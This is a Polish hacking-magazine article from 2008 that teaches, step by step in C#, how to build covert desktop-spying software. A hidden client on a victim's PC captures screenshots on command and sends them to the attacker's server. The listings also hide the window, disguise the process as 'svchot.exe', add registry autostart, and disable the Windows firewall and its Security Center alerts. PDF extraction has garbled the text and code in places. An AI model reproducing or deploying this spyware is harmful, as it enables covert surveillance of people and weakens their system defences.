Podglądanie pulpitu.pdf

(589 KB) Pobierz
54388094 UNPDF
Podglądanie pulpitu
Atak
Sławomir Orłowski
stopień trudności
Używając mechanizmu haków w systemie Windows, możemy
swobodnie przechwytywać poufne dane wprowadzane
z klawiatury (hakin9 1/2008). Pora teraz podpatrzeć,
co użytkownik robi na swoim komputerze.
nizmu haków Windows, lecz stworzy-
my klasyczny projekt typu klient-ser-
wer. Klient będzie uruchamiany na kompute-
rze zdalnym i będzie oczekiwał na komendę
od serwera. Po jej otrzymaniu klient zrobi zrzut
ekranu, po czym dane te prześle do serwera.
W projekcie użyjemy protokołu TCP do przesy-
łania zrzutu ekranu. Za pomocą protokołu UDP
będziemy przesyłać do serwera dane dotyczą-
ce dostępności klientów. Dodatkowo wykorzy-
stamy programowanie wielowątkowe. Aplikację
klienta oraz serwer napiszemy używając dar-
mowego środowiska Visual C# 2005 Express
Edition. Będą to tradycyjne projekty Windows
Forms, choć oczywiście nie stoi nic na prze-
szkodzie, aby użyć projektów Windows Pre-
sentation Fundation. Zakładam, że Czytelnik
posiada podstawową wiedzę z zakresu progra-
mowania w języku C# dla platformy .NET.
miana na komputerze zdalnym, więc zadbamy
o to, aby była tam jak najmniej widoczna. Pro-
jekt ten można połączyć następnie z projek-
tem serwera w ramach jednego zbioru projek-
tów (Solution).
Z artykułu dowiesz się
• jak z poziomu kodu C# utworzyć połączenie
TCP,
• jak z poziomu kodu C# wysłać dane za pomo-
cą protokołu UDP,
• w jaki sposób używać komponentów klasy
BackgroundWorker,
• jak używać strumieni do programowania siecio-
wego.
Co powinieneś wiedzieć
• podstawowa znajomość języka C# i platformy
.NET,
• jak używać środowiska Visual C# Express Edi-
tion,
• podstawy programowania zorientowanego
obiektowo,
• podstawowa znajomość sieci komputero-
wych.
Klient
Aplikację klienta napiszemy jako pierwszą.
Będzie ona standardowym projektem typu
Windows Forms, w którym użyjemy klas plat-
formy .NET odpowiedzialnych za programo-
wanie sieciowe. Będzie to aplikacja urucha-
30
hakin9 Nr 2/2008
www.hakin9.org
T ym razem nie skorzystamy z mecha-
54388094.023.png 54388094.024.png 54388094.025.png
Podglądanie pulpitu
Zrzut ekranu
Na początku warto napisać meto-
dę, za pomocą której będziemy mo-
gli wykonywać zrzuty ekranu. Roz-
poczynamy zatem nowy projekt
Windows Forms. Niech nazywa się
Klient. Pozostawimy również do-
myślną nazwę Form1, która repre-
zentuje okno (formę) naszej aplika-
cji. Umieścimy ją wewnątrz klasy
Form1 (Listing 1). Aby mieć wygodny
dostęp do klas i metod umożliwiają-
cych wykonanie zrzutu ekranu, mu-
simy dodać jeszcze przestrzeń nazw
System.Drawing.Imaging .
Zasadniczym elementem napisa-
nej przez nas metody makeScreenshot
jest użycie metody CopyFromScreen
klasy Graphics . Wykonuje ona kopię
obrazu ekranu. Jej pięć pierwszych
argumentów określa obszar ekranu,
który będzie skopiowany. Ostatni ar-
gument ( CopyPixelOperation ) określa
sposób kopiowania poszczególnych
pikseli. My wybraliśmy SourceCopy ,
co oznacza dokładne kopiowanie.
Można jeszcze np. odwrócić kolo-
ry itd. Metoda FromImage tworzy no-
wy obiekt klasy Graphics z określo-
nego obrazu.
Listing 1. Metoda wykonująca zrzut ekranu
private Bitmap makeScreenshot ()
{
Bitmap bmp = new Bitmap ( Screen . PrimaryScreen . Bounds . Width , Scree
n . PrimaryScreen . Bounds . Height , PixelFormat . Format32bp
pArgb );
Graphics screenshot = Graphics . FromImage ( bmp );
screenshot . CopyFromScreen ( Screen . PrimaryScreen . Bounds . X , Screen . P
rimaryScreen . Bounds . Y , 0 , 0 , Screen . PrimaryScreen . Boun
ds . Size , CopyPixelOperation . SourceCopy );
return bmp ;
}
Listing 2. Prywatne pola klasy Form1
private int serverCommandPort = 1978 ;
private IPAddress serverIP = IPAddress . Parse ( "127.0.0.1" );
private int serverDataPort = 25000 ;
private string localIP = null ;
private Bitmap image ;
syłania. W przypadku używania tyl-
ko jednego portu do obu tych opera-
cji nie mielibyśmy takich możliwości.
Serwer musi przechowywać listę ak-
tualnie dostępnych klientów. Wystar-
czy więc, że klient w momencie ini-
cjalizacji prześle informacje o swojej
dostępności. Dla platformy .NET za-
projektowano dwie klasy, które służą
do połączenia TCP. Są to TCPListener
i TCPClient .
Pierwsza spełnia rolę serwe-
ra, a druga klienta. Aby wygodnie
korzystać z klas służących do pro-
gramowania sieciowego, w sekcji
using programu dodajemy trzy prze-
strzenie nazw: System.Net.Sockets ,
System.Net i System.IO . Do klasy for-
my dodamy jeszcze prywatne pola,
które będą przechowywały dane po-
trzebne do połączenia się z serwe-
rem oraz zrzut ekranu (Listing 2).
Pierwsza zmienna będzie przecho-
wywała port, na jakim będą przesy-
łane komendy.
Druga zmienna zawierać bę-
dzie adres IP serwera. Testowo ad-
res ten ustawiamy na 127.0.0.1, czy-
li adres pętli zwrotnej. Numer portu,
na którym będziemy wymieniać da-
ne z serwerem, przechowany będzie
w zmiennej serverDataPort . Zmien-
Przesyłanie zrzutu
ekranu
Przesyłanie kopii ekranu można zre-
alizować na kilka sposobów. Najła-
twiej jest wysyłać dane co pewien
odstęp czasu. Można do tego użyć
komponentu Timer . Ja jednak chcia-
łem zaproponować rozwiązanie bar-
dziej uniwersalne, choć – ze wzglę-
du na implementację – dosyć nie-
typowe. Niech użytkownik serwera
sam zdecyduje, kiedy chce wykonać
zdalny zrzut ekranu.
W tym celu klient musi oczekiwać
na odpowiednią komendę od serwe-
ra, czyli w aplikacji klienta de facto
musimy uruchomić serwer. Podobnie
jak w przypadku protokołu FTP, my
również użyjemy do obsługi połącze-
nia dwóch portów. Jeden będzie od-
powiedzialny za komendy, a drugi za
przesyłanie danych. Dzięki takiemu
rozwiązaniu komendy będą wysyła-
ne do klienta niezależnie od prze-
syłanych danych. Umożliwi nam to
wstrzymanie bądź zatrzymanie wy-
Rysunek 1. Widok projektu interfejsu graicznego serwera
www.hakin9.org
hakin9 Nr 2/2008
31
 
54388094.001.png 54388094.002.png 54388094.003.png 54388094.004.png
 
Atak
na localIP będzie zawierać adres
IP komputera, na którym uruchomio-
ny zostanie klient. Ostatnie zadekla-
rowane przez nas pole będzie prze-
chowywać obraz.
Używając do połączenia TCP klas
TcpListener i TcpClient działamy na
zasadzie blocking socket . Oznacza to,
że wątek, w którym dokonujemy trans-
akcji TCP będzie zablokowany, dopó-
ki transakcja nie zostanie zakończo-
na. Jeśli to będzie główny wątek apli-
kacji, to jej interfejs graiczny będzie
niedostępny w czasie trwania trans-
akcji TCP. Zatem wygodnie jest uży-
wać programowania wielowątkowe-
go – choć w tym przypadku nie jest to
konieczne, ponieważ nasza aplikacja
nie posiada na formie żadnych kontro-
lek. Począwszy od wersji 2.0, platfor-
ma .NET wyposażona jest w wygod-
ny komponent klasy BackgroundWorker .
Dzięki niemu możemy w prosty spo-
sób wykonywać podstawowe opera-
cje wielowątkowe, co w naszym przy-
padku w zupełności wystarczy. Przy
skomplikowanym programie wielo-
wątkowym lepiej skorzystać jest z klas
z przestrzeni nazw System.Threading .
Do projektu dodajemy komponent
backgroundWorker1 . Tworzymy dla nie-
go metodę zdarzeniową DoWork , któ-
ra odpowiada za zadanie, jakie bę-
dzie w tym wątku wykonywane
(Listing 3). Jak wspomniałem we wstę-
pie, klient powinien oczekiwać na ko-
mendę wysłaną przez serwer, wyko-
nać zrzut ekranu i dane te przesłać na
serwer. Niech komendą inicjalizującą
procedurę wykonania zrzutu ekranu
będzie ciąg ##shot## . Konstruujemy
obiekt klasy TcpListener i w konstruk-
torze przekazujemy adres IP kompu-
tera oraz port, na jakim aplikacja bę-
dzie nasłuchiwać. Pod zmienną loca-
lIP podstawimy adres IP w konstrukto-
rze klasy Form1 (Listing 4).
Za pomocą metody Start inicja-
lizujemy nasłuchiwanie. Metoda ta
nie blokuje jeszcze bieżącego wąt-
ku. Wątek blokowany jest dopiero po
użyciu metody AcceptTcpClient , któ-
ra oczekuje na połączenie i zwraca
obiekt klasy TcpClient . Za jego pomo-
cą będziemy mogli odczytać dane, ja-
kie otrzymaliśmy podczas połączenia.
Operacje sieciowe dotyczące odczy-
tu bądź wysyłania przy połączeniach
TCP to w ogólności operacje na stru-
mieniach. Wystarczy więc umiejętnie
skonstruować strumień i już mamy
możliwość przesyłania danych przez
sieć. Do obsługi strumienia sieciowe-
go służy klasa NetworkStream . Używa-
jąc metody GetStream klasy TcpClient
otrzymujemy strumień, który podsta-
wiamy do referencji ns. Dalej za po-
mocą metody Read przepisujemy do
bufora typu byte[] dane, które odczy-
taliśmy ze strumienia.
Przy użyciu metody GetString
z klasy Encoding zamieniamy
bufor na obiekt typu string. Sprawdza-
my, jaką wartość ma ten obiekt i je-
żeli jest to komenda ##shot## , wów-
czas wykonujemy zrzut ekranu i za-
pisujemy go do pola image. Aby zaj-
mował on jak najmniej pamięci,
używamy kodowania JPEG. W ko-
lejnym kroku obraz zamieniany jest
na strumień (klasa MemoryStream ),
a później na tablicę bajtów (metoda
GetBuffer ). Tak przygotowany stru-
Listing 3. Metoda wywołująca zrzut ekranu, który następnie przesyłany
jest do serwera
private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
{
TcpListener server = new TcpListener ( IPAddress . Parse ( localIP ) ,
serverCommandPort );
serwer . Start ();
while ( true )
{
TcpClient clientCommand = server . AcceptTcpClient ();
NetworkStream ns = clientCommand . GetStream ();
Byte [] b = new Byte [ 8 ];
int read = ns . Read ( b , 0 , b . Length );
string msg = Encoding . ASCII . GetString ( b );
if ( msg == "##shot##" )
{
image = makeScreenshot ();
MemoryStream ms = new MemoryStream ();
image . Save ( ms , ImageFormat . Jpeg );
byte [] imageByte = ms . GetBuffer ();
ms . Close ();
try
{
TcpClient client2 = new TcpClient ( serverIP . ToString () ,
serverDataPort );
NetworkStream ns2 = client2 . GetStream ();
using ( BinaryWriter bw = new BinaryWriter ( ns2 ))
{
bw . Write (( int ) imageByte . Length );
bw . Write ( imageByte );
}
}
catch ( Exception ex )
{
}
}
}
}
Listing 4. Konstruktor klasy Form1
public Form1 ()
{
InitializeComponent ();
IPHostEntry IPs = Dns . GetHostEntry ( Dns . GetHostName ());
localIP = IPs . AddressList [ 0 ] . ToString ();
backgroundWorker1 . RunWorkerAsync ();
}
32
hakin9 Nr 2/2008
www.hakin9.org
54388094.005.png
 
54388094.006.png
 
54388094.007.png
 
54388094.008.png 54388094.009.png
 
54388094.010.png 54388094.011.png
 
Podglądanie pulpitu
mień możemy przesłać przez sieć uży-
wając klasy TcpClient . Do przesyłania
danych binarnych posłużymy się klasą
BinaryWriter . Próba wysłania danych
do serwera powinna być zamknięta
w bloku ochronnym try-catch , co
uchroni program przed zwracaniem
wyjątków do środowiska uruchomie-
niowego, a co za tym idzie – do zde-
maskowania się. Całość zamknięta
jest w nieskończonej pętli while .
Musimy jeszcze odczytać adres
IP komputera, na którym działa klient
oraz uruchomić wątek związany
z komponentem backgroundWorker1 .
Czynności te wykonamy w konstruk-
torze klasy formy (Listing 4).
poprzez dodawanie nowych kontro-
lek do formy. Program ten powinien
również uruchamiać się w momencie
startu systemu.
Metoda dodająca odpowiedni wpis
do rejestru systemowego, który za-
pewni automatyczne uruchamianie
aplikacji, została już zaprezentowana
w artykule C#.NET. Podsłuchiwanie
klawiatury , hakin9 1/2008. Sam proces
można w prosty sposób ukryć poprzez
nazwanie programu np. svchot.exe .
Program można również spróbować
uruchomić w trybie usługi.
Pozostaje jeszcze jedna, ważna
kwestia: reakcja irewalla zainstalo-
wanego w systemie na próbę stworze-
nia serwera, a co za tym idzie otwarcia
portu i nasłuchiwania na nim. Ponie-
waż jest to bardzo szeroki temat, do-
bry na osobny artykuł, skupimy się je-
dynie na irewallu systemowym, który
jest używany przez bardzo wielu użyt-
kowników. Aby go wyłączyć wystar-
czy zmienić wartość EnableFirewall
znajdującą się w kluczu o nazwie
HKEY _ LOCAL _ M ACHINE\SYSTEM\
ControlSet001\Services\SharedAccess\
P a r a m e t e r s\F i r e w a l l P ol ic y\
StandardProile z dword:00000001 na
dword:00000000 . Centrum Zabezpie-
czeń, które obecne jest od premiery
poprawki SP2, może wyświetlać mo-
nity o wyłączeniu irewalla. Aby za-
mknąć mu usta, wystarczy zmienić
wartość FirewallDisableNotify , która
znajduje się w kluczu HKEY _ LOCAL _
MACHINE\SOFTWARE\Microsoft\Security
Wysyłanie informacji
o dostępności klienta
Ważną funkcjonalnością aplikacji
klienckiej powinno być wysyłanie in-
formacji o dostępności klienta. Dzięki
temu serwer będzie miał zawsze ak-
tualną listę klientów, którzy są aktyw-
ni. Użyjemy do tego protokołu UDP.
Niech informacja, jaką będzie wysyłał
klient, ma postać adresIP_klienta:ko-
munikat. Przy starcie klient powinien
wysłać informację, która może wy-
glądać tak: 127.0.0.1:HI . Przy kończe-
niu pracy powinien wysłać informa-
cję 127.0.0.1:BYE . Listing 5 przedsta-
wia prostą metodę wysyłającą dane
za pomocą protokołu UDP. Do obsłu-
gi połączenia UDP użyta została klasa
UdpClient i jej metoda Send .
Wystarczy ją podczepić do zda-
rzenia Load oraz FormClosing (Li-
sting 6).
Przypatrzmy się jeszcze przez
chwilę sposobowi działania klien-
ta. Aplikacja ta będzie uruchamiana
na komputerze zdalnym (w domyśle
oiary ). Musimy więc zadbać o to, aby
była jak najtrudniejsza do odkrycia.
Na początek ukrywamy okno apli-
kacji. Można to zrobić poprzez wła-
sności ShowIcon oraz ShowInTaskbar ,
które ustawiamy na false . Własność
WindowState ustawiamy na Minimized .
W zasadzie moglibyśmy napisać rów-
nież aplikację konsolową, która nie
posiadałaby okna. Wybrałem jed-
nak aplikację Windows Forms , ponie-
waż chciałem, aby program mógł być
później dowolnie modyikowany – np.
Listing 5. Wysyłanie danych za pomocą protokołu UDP
private void SendMessageUDP ( string msg )
{
UdpClient client = new UdpClient ( serverIP . ToString () , 43210 );
byte [] b = Encoding . ASCII . GetBytes ( msg );
client . Send ( b , b . Length );
client . Close ();
}
Listing 6. Metody zdarzeniowe Load oraz FormClosing
private void Form1_Load ( object sender , EventArgs e )
{
SendMessageUDP ( localIP + ":HI" );
}
private void Form1_FormClosing ( object sender , FormClosingEventArgs e )
{
SendMessageUDP ( localIP + ":BYE" );
}
Listing 7. Wyłączenie systemowego irewalla
private void irewallDisable ()
{
const string keyname1 = "SYSTEM \\ ControlSet001 \\ Services \
\ SharedAccess \\ Parameters \\ FirewallPolicy \\
StandardProile" ;
const string keyname2 = "SOFTWARE \\ Microsoft \\ Security Center" ;
try
{
Microsoft . Win32 . RegistryKey rg1 = Microsoft . Win32 . Registry . L
ocalMachine . OpenSubKey ( keyname1 , true );
rg1 . SetValue ( "EnableFirewall" , 0 );
rg1 . Close ();
Microsoft . Win32 . RegistryKey rg2 = Microsoft . Win32 . Registry . L
ocalMachine . OpenSubKey ( keyname2 , true );
rg2 . SetValue ( "FirewallDisableNotify" , 1 );
rg2 . Close ();
}
catch {}
}
www.hakin9.org
hakin9 Nr 2/2008
33
 
54388094.012.png 54388094.013.png 54388094.014.png 54388094.015.png
 
Atak
Center . Odpowiedni kod realizujący
te zadania przedstawiony został na
Listingu 7. Jego wywołanie najlepiej
umieścić w konstruktorze klasy Form1
lub w metodzie zdarzeniowej dla zda-
rzenia Load formy. Sam sposób prze-
prowadzania operacji na rejestrze zo-
stał również opisany w cytowanym po-
wyżej artykule.
Próba modyikacji rejestru nie
uda się, jeśli nie mamy odpowiednich
praw. Jednak ilu jest użytkowników
systemu Windows, którzy na co dzień
korzystają z konta o prawach admini-
stratora? Można również zmienić ten
program tak, aby udawał jakąś inną
aplikację. W ten sposób użytkownik
może zignorować ewentualne moni-
ty pochodzące od irewalla i pozwolić
na komunikację sieciową. Programy
antywirusowe nie powinny zgłaszać
zagrożenia podczas działania klien-
ta (jak i w trakcie skanowania jego pli-
ku wykonywalnego), ponieważ jest to
standardowa aplikacja.
Listing 8. Bezpieczne odwoływanie się do kontrolek formy z poziomu
innego wątku
delegate void SetTextCallBack ( string tekst );
private void SetText ( string tekst )
{
if ( listBox1 . InvokeRequired )
{
SetTextCallBack f = new SetTextCallBack ( SetText );
this . Invoke ( f , new object [] { tekst } );
}
else
{
this . listBox1 . Items . Add ( tekst );
}
}
delegate void RemoveTextCallBack ( int pozycja );
private void RemoveText ( int pozycja )
{
if ( listBox1 . InvokeRequired )
{
RemoveTextCallBack f = new RemoveTextCallBack ( RemoveText );
this . Invoke ( f , new object [] { pozycja
} );
}
else
{
listBox1 . Items . RemoveAt ( pozycja );
}
}
Pora stworzyć serwer
Rozpoczynamy kolejny projekt Win-
dows Forms , który będzie serwe-
rem dla napisanego przed chwi-
lą klienta. Na początek zbuduje-
my interfejs graiczny użytkownika.
W tym celu do projektu dodajemy kon-
trolkę pictureBox1 , na której będzie-
my wyświetlać pobrany zrzut ekranu.
Na formę wrzucamy również kontro-
lkę listBox1 , przeznaczoną do prze-
chowywania listy wszystkich aktyw-
nych klientów. Dodajemy jeszcze pole
edycyjne textBox1 , które będzie prze-
chowywać adres IP serwera oraz po-
le numericUpDown1 , które posłuży do
wyboru portu. Na koniec dodajemy
przycisk button1 – będzie on inicjo-
wał zdalny zrzut ekranu. Nasz ser-
wer, podobnie jak klient, będzie ob-
sługiwał połączenia w osobnych wąt-
kach. Dzięki temu interfejs użytkow-
nika będzie stale dostępny. Założyli-
śmy sobie na początku, że informa-
cje o aktywnych klientach przesyłać
będziemy przy użyciu protokołu UDP.
Oczekiwanie na zgłoszenia od klien-
tów zrealizujemy w osobnym wątku.
Do jego obsługi dodajemy kompo-
nent backgroundWorker1 . Zanim opro-
gramujemy jego metodę DoWork , musi-
Listing 9. Metoda konstruująca listę aktywnych klientów
private void backgroundWorker1_DoWork ( object sender , DoWorkEventArgs e )
{
IPEndPoint hostIP = new IPEndPoint ( IPAddress . Any , 0 );
UdpClient client = new UdpClient ( 43210 );
while ( true )
{
Byte [] b = client . Receive ( ref hostIP );
string data = Encoding . ASCII . GetString ( b );
string [] cmd = data . Split ( new char [] { ':' } );
if ( cmd [ 1 ] == "HI" )
{
foreach ( string s in listBox1 . Items )
if ( s == cmd [ 0 ])
{
MessageBox . Show ( "Próba nawiązania połączenia z "
+ cmd [ 0 ] + " odrzucona ponieważ na liście istnieje już
taki wpis" );
return ;
}
this . SetText ( cmd [ 0 ]);
}
if ( cmd [ 1 ] == "BYE" )
{
for ( int i = 0 ; i < listBox1 . Items . Count ; i ++)
if ( listBox1 . Items [ i ] . ToString () == cmd [ 0 ])
this . RemoveText ( i );
}
}
}
34
hakin9 Nr 2/2008
www.hakin9.org
54388094.016.png
 
54388094.017.png
 
54388094.018.png
 
54388094.019.png 54388094.020.png
 
54388094.021.png 54388094.022.png
 
Zgłoś jeśli naruszono regulamin